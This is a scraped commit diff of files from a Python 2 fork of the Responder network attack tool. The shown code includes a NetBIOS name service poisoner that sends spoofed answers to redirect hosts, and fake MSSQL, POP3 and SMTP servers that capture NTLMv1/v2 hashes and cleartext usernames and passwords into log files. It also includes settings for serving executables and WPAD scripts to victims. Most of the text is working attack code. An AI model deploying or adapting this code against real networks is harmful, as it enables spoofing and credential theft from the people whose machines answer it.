CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
# Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
#AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
#AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
#AvPairs 6 len is always 00.

View file

@ -1,129 +0,0 @@
import struct
import logging
import threading
from core.logger import logger
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import *
from core.responder.common import *
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MSSQLserver", formatter)
class MSSQLserver():
def start(self, chal):
global Challenge; Challenge = chal
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(1433, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = True
def server_bind(self):
TCPServer.server_bind(self)
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
def ParseSQLHash(data,client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
if NthashLen == 24:
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NthashLen = struct.unpack('<H',data[30:32])[0]
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
WriteData(outfile,Writehash,User+"::"+Domain)
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(Data,client):
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
PwdOffset = struct.unpack('<h',Data[52:54])[0]
AppOffset = struct.unpack('<h',Data[56:58])[0]
PwdLen = AppOffset-PwdOffset
UsernameLen = PwdOffset-UsernameOffset
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except Exception:
pass
self.request.close()

View file

@ -1,212 +0,0 @@
#! /usr/bin/env python2.7
import threading
import socket
import struct
import logging
import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("NBTNSpoisoner", formatter)
class NBTNSpoisoner():
def start(self, options, ourip):
global OURIP; OURIP = ourip
global args; args = options
try:
log.debug("OURIP => {}".format(ourip))
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.debug("Error starting on port 137: {}".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
UDPServer.server_bind(self)
#NBT-NS answer packet.
class NBT_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = socket.inet_aton(OURIP)
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector Service",
"\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain controller service",
"\x42\x4e\x00":"Local Master Browser",
"\x42\x4f\x00":"Browser Election Service",
"\x43\x41\x00":"File Server Service",
"\x41\x42\x00":"Browser Service",
}
if data in Role:
return Role[data]
else:
return "Service not known."
# Define what are we answering to.
def Validate_NBT_NS(data,Wredirect):
if args.analyze:
return False
if NBT_NS_Role(data[43:46]) == "File Server Service.":
return True
if args.nbtns == True:
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
return True
if Wredirect == True:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
return True
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception, e:
log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name"
# NBT_NS Server class.
class NB(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
RespondToName = ResponderConfig['RespondToName']
data, socket = self.request
Name = Decode_Name(data[13:45])
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if args.analyze:
if data[2:4] == "\x01\x10":
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
except Exception:
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
else:
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
if RespondToSpecificHost(RespondTo) and args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,args.wredir):
if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
pass
else:
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,args.wredir) and args.analyze == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass

View file

@ -1,6 +1,6 @@
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@ -11,12 +11,9 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#Packet class handling all packet generation (see odict.py).
from UserDict import DictMixin
class OrderedDict(dict, DictMixin):

View file

@ -1,34 +0,0 @@
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#Packet class handling all packet generation (see odict.py).
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))

1277
core/responder/packets.py Normal file

File diff suppressed because it is too large Load diff

View file

@ -1,65 +0,0 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.common import *
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("POP3server", formatter)
class POP3server():
def start(self):
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
t = threading.Thread(name="POP3server", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(110, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class POPOKPacket(Packet):
fields = OrderedDict([
("Code", "+OK"),
("CRLF", "\r\n"),
])
#POP3 server class.
class POP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(POPOKPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
log.info('POP3 User: %s'%(User))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
else :
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
except Exception as e:
log.error("Error handling request: {}".format(e))

192
core/responder/settings.py Normal file
View file

@ -0,0 +1,192 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import socket
import utils
import logging
from core.configwatcher import ConfigWatcher
__version__ = 'Responder 2.2'
class Settings(ConfigWatcher):
def __init__(self):
self.ResponderPATH = os.path.dirname(__file__)
self.Bind_To = '0.0.0.0'
def __str__(self):
ret = 'Settings class:\n'
for attr in dir(self):
value = str(getattr(self, attr)).strip()
ret += " Settings.%s = %s\n" % (attr, value)
return ret
def toBool(self, str):
return True if str.upper() == 'ON' else False
def ExpandIPRanges(self):
def expand_ranges(lst):
ret = []
for l in lst:
tab = l.split('.')
x = {}
i = 0
for byte in tab:
if '-' not in byte:
x[i] = x[i+1] = int(byte)
else:
b = byte.split('-')
x[i] = int(b[0])
x[i+1] = int(b[1])
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
ret.append('%d.%d.%d.%d' % (a, b, c, d))
return ret
self.RespondTo = expand_ranges(self.RespondTo)
self.DontRespondTo = expand_ranges(self.DontRespondTo)
def populate(self, options):
# Servers
self.SSL_On_Off = self.toBool(self.config['Responder']['HTTPS'])
self.SQL_On_Off = self.toBool(self.config['Responder']['SQL'])
self.FTP_On_Off = self.toBool(self.config['Responder']['FTP'])
self.POP_On_Off = self.toBool(self.config['Responder']['POP'])
self.IMAP_On_Off = self.toBool(self.config['Responder']['IMAP'])
self.SMTP_On_Off = self.toBool(self.config['Responder']['SMTP'])
self.LDAP_On_Off = self.toBool(self.config['Responder']['LDAP'])
self.Krb_On_Off = self.toBool(self.config['Responder']['Kerberos'])
# Db File
self.DatabaseFile = './logs/responder/Responder.db'
# Log Files
self.LogDir = './logs/responder'
if not os.path.exists(self.LogDir):
os.mkdir(self.LogDir)
self.SessionLogFile = os.path.join(self.LogDir, 'Responder-Session.log')
self.PoisonersLogFile = os.path.join(self.LogDir, 'Poisoners-Session.log')
self.AnalyzeLogFile = os.path.join(self.LogDir, 'Analyzer-Session.log')
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt')
self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt')
self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt')
self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt')
self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt')
self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt')
self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt')
self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt')
# HTTP Options
self.Serve_Exe = self.toBool(self.config['Responder']['HTTP Server']['Serve-Exe'])
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
if not os.path.exists(self.Html_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
if not os.path.exists(self.Exe_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
# SSL Options
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
self.SSLCert = self.config['Responder']['HTTPS Server']['SSLCert']
# Respond to hosts
self.RespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondTo'].strip().split(',')])
self.RespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondToName'].strip().split(',')])
self.DontRespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondTo'].strip().split(',')])
self.DontRespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondToName'].strip().split(',')])
# CLI options
self.Interface = options.interface
try:
self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.NBTNSDomain = options.NBTNSDomain
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
except AttributeError:
pass
self.Verbose = False
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface)
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
# Set up Challenge
self.NumChal = self.config['Responder']['Challenge']
if len(self.NumChal) is not 16:
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
sys.exit(-1)
self.Challenge = ""
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
logging.warning('Responder Started: {}'.format(self.CommandLine))
#logging.warning('Responder Config: {}'.format(self))
Formatter = logging.Formatter('%(asctime)s - %(message)s')
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
PLog_Handler.setLevel(logging.INFO)
ALog_Handler.setLevel(logging.INFO)
PLog_Handler.setFormatter(Formatter)
ALog_Handler.setFormatter(Formatter)
self.PoisonersLogger = logging.getLogger('Poisoners Log')
self.PoisonersLogger.addHandler(PLog_Handler)
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
global Config
Config = Settings()

View file

@ -1,61 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#SMTP Greating class
class SMTPGreating(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "smtp01.local ESMTP"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Message0", "smtp01.local"),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH1(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "VXNlcm5hbWU6"),#Username
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH2(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "UGFzc3dvcmQ6"),#Password
("CRLF", "\x0d\x0a"),
])

View file

@ -1,64 +0,0 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from base64 import b64decode
from SMTPPackets import *
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("SMTPserver", formatter)
class SMTPserver():
def serve_thread_tcp(self, port):
try:
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
server.serve_forever()
except Exception as e:
log.error("Error starting TCP server on port {}: {}".format(port, e))
#Function name self-explanatory
def start(self):
log.debug("online")
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
for t in [t1, t2]:
t.setDaemon(True)
t.start()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#ESMTP server class.
class ESMTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(SMTPGreating()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
Username = b64decode(data[:len(data)-2])
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
Password = b64decode(data[:len(data)-2])
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
except Exception as e:
log.error("Error handling request: {}".format(e))

358
core/responder/utils.py Normal file
View file

